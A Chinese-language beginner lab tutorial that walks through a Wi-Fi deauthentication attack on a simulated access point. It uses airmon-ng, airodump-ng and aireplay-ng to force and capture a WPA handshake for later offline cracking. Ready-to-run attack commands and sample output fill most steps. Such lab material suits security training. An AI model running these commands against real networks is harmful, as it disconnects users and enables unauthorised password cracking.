使用 aireplay-ng Deauth 攻击强制捕获 WPA 握手

Beginner
立即练习

引言

欢迎来到本实验,我们将学习如何强制捕获 WPA 握手包。WPA/WPA2 四次握手是尝试破解 Wi-Fi 网络密码的关键数据。虽然你可以被动等待设备连接到网络来捕获此握手包,但这可能非常耗时。

一种更主动的方法是强制已连接的客户端断开连接,然后立即重新连接。这个过程被称为 deauthentication(或“deauth”)攻击。当客户端重新连接时,它会执行四次握手,然后你就可以捕获它了。

在本实验中,你将使用 aircrack-ng 套件中的强大工具 aireplay-ng,对模拟的 Wi-Fi 客户端执行 deauthentication 攻击。这将使你能够可靠地捕获 WPA 握手包进行分析。我们的实验环境已预先配置了一个名为 MyTestAP 的虚拟无线接入点(AP)和一个已连接的客户端。

使用 airodump-ng 扫描识别关联客户端

在此步骤中,你将准备无线接口进行监控,然后使用 airodump-ng 查找目标接入点及其连接的客户端。

首先,你需要将一个虚拟无线接口置于监控模式(monitor mode)。此模式允许接口捕获空中所有 Wi-Fi 流量,而不仅仅是发往该接口的流量。我们将使用 wlan1 接口。

执行以下命令在 wlan1 上启动监控模式:

sudo airmon-ng start wlan1

此命令将创建一个新的监控接口,通常命名为 wlan1mon。你应该会看到输出确认模式已启用。

PHY     Interface       Driver          Chipset

phy0    wlan0           mac80211_hwsim  Software simulator
phy1    wlan1           mac80211_hwsim  Software simulator

                (mac80211 monitor mode vif enabled for [phy1]wlan1 on [phy1]wlan1mon)
                (mac80211 station mode vif disabled for [phy1]wlan1)

现在,在新创建的监控接口(wlan1mon)上运行 airodump-ng 来开始扫描。我们将使用 -w 标志将捕获的包写入名为 capture 的文件,并指定目标 AP 的 BSSID 和信道以聚焦扫描。我们模拟 AP 的 BSSID 是 02:00:00:00:01:00,信道是 6。

sudo airodump-ng -w capture --bssid 02:00:00:00:01:00 -c 6 wlan1mon

airodump-ng 运行。你将看到一个实时更新的屏幕。上半部分列出了附近的接入点,下半部分列出了连接到它们的客户端。你应该能看到我们的 AP MyTestAP 和一个连接到它的客户端。

输出将类似于:

CH  6 ][ Elapsed: 10 s ][ 2023-10-27 10:30

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 02:00:00:00:01:00  -30       10        5    0   6  540  WPA2 CCMP   PSK  MyTestAP

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 02:00:00:00:01:00  02:00:00:00:02:00  -35    0- 1      0        5

从输出中,识别并记录:

  • BSSID: 02:00:00:00:01:00 (AP 的 MAC 地址)。
  • STATION: 02:00:00:00:02:00 (已连接客户端的 MAC 地址)。

保持此终端运行。稍后你将需要它来确认握手包的捕获。

打开新终端执行 Deauthentication 攻击

在此步骤中,你将打开一个新的终端窗口。上一步的 airodump-ng 命令必须在第一个终端中继续运行,以监听 WPA 握手包。Deauthentication 攻击将从第二个独立的终端启动。

要打开新终端,请点击终端窗口顶部的终端标签栏中的 + 图标。

Open New Terminal

新终端打开后,你将位于 ~/project 目录,准备在下一步执行攻击命令。所有后续的攻击命令都应在此新终端中运行。

使用 --deauth 构建 aireplay-ng 命令

在此步骤中,你将构建执行 deauthentication 攻击的 aireplay-ng 命令。你将使用在步骤 1 中收集的信息。

使用 aireplay-ng 进行 deauth 攻击的基本语法是:
aireplay-ng --deauth <number_of_packets> -a <AP_BSSID> -c <Client_STATION> <interface>

让我们分解一下各个组成部分:

  • --deauth: 此标志指定 deauthentication 攻击模式。
  • <number_of_packets>: 这是要发送的 deauth 包的数量。发送一个小爆发,例如 5,通常足以断开客户端连接。
  • -a <AP_BSSID>: 这指定了目标接入点(Access Point)的 MAC 地址。在步骤 1 中,它是 02:00:00:00:01:00
  • -c <Client_STATION>: 这指定了你想要断开连接的客户端的 MAC 地址。在步骤 1 中,它是 02:00:00:00:02:00
  • <interface>: 这是你的无线接口(处于监控模式),即 wlan1mon

现在,在你的新终端中组合完整的命令。它应该看起来完全像这样:

sudo aireplay-ng --deauth 5 -a 02:00:00:00:01:00 -c 02:00:00:00:02:00 wlan1mon

暂时不要按 Enter 键。在下一步中,你将执行此命令。

执行针对客户端和 AP 的攻击

在此步骤中,你将执行刚刚构建的命令来发起攻击。

在你的第二个终端窗口中,按下 Enter 键来运行 aireplay-ng 命令。

sudo aireplay-ng --deauth 5 -a 02:00:00:00:01:00 -c 02:00:00:00:02:00 wlan1mon

该工具将立即开始发送 deauthentication 数据包。输出将显示时间以及它正在向客户端发送定向 deauths。

输出将如下所示:

10:35:10  Waiting for beacon frame (BSSID: 02:00:00:00:01:00) on channel 6
10:35:10  Sending 64 directed DeAuths to 02:00:00:00:02:00 (code 7).
10:35:11  Sending 64 directed DeAuths to 02:00:00:00:02:00 (code 7).
...

攻击速度非常快。一旦你执行命令,目标客户端将与网络断开连接,并立即尝试重新连接。这个重新连接过程会生成我们想要捕获的 WPA 握手包。

快速切换回你的第一个终端(运行 airodump-ng 的那个),以便在下一步观察结果。

在 airodump-ng 窗口中确认握手包捕获

在此步骤中,你将通过检查 airodump-ng 窗口中的 WPA 握手消息来确认 deauthentication 攻击是否成功。

切换回你的第一个终端。如果攻击成功,你将在 airodump-ng 显示的右上角看到一条新消息:

WPA handshake: 02:00:00:00:01:00

此消息确认 airodump-ng 已成功拦截并记录了指定 BSSID 的四次握手。

CH  6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 02:00:00:00:01:00

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 02:00:00:00:01:00  -30       48       82    1   6  540  WPA2 CCMP   PSK  MyTestAP

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 02:00:00:00:01:00  02:00:00:00:02:00  -36    0- 1      0       75

现在你已经捕获了握手包,可以停止捕获了。在 airodump-ng 终端中按 Ctrl+C 来停止它。

由于你在步骤 1 中使用了 -w capture 标志,airodump-ng 将捕获的流量保存到了你当前目录(~/project)的文件中。列出文件以查看结果。

ls -l

你应该会看到几个以 capture 开头的文件,包括 capture-01.cap。这个 .cap 文件包含了原始数据包,其中就包含了你刚刚捕获的 WPA 握手包。

-rw-r--r-- 1 root  root    450 Oct 27 10:36 capture-01.cap
-rw-r--r-- 1 root  root    892 Oct 27 10:36 capture-01.csv
-rw-r--r-- 1 root  root    634 Oct 27 10:36 capture-01.kismet.csv
-rw-r--r-- 1 root  root    128 Oct 27 10:36 capture-01.kismet.netxml
-rw-r--r-- 1 labex labex   121 Oct 27 10:28 hostapd.conf
-rw-r--r-- 1 labex labex    52 Oct 27 10:28 wpa_supplicant.conf

capture-01.cap 文件是关键。现在可以使用它和密码破解工具(如 aircrack-ng)来尝试发现网络的预共享密钥。

总结

恭喜你完成了本次实验!你已成功执行了 deauthentication 攻击,强制并捕获了 WPA 握手包。

在本次实验中,你学会了如何:

  • 使用 airmon-ng 将无线网卡置于监听模式(monitor mode)。
  • 使用 airodump-ng 扫描并识别目标 AP 和客户端。
  • 使用 aireplay-ng 构建并执行 deauthentication 攻击。
  • 确认 WPA 握手包的捕获,并找到生成的 .cap 文件。

这是无线网络安全测试中的一项基本技能。捕获到的握手包文件是下一阶段的关键要素:使用像 aircrack-ng 这样的工具和全面的字典(wordlist)进行离线密码破解。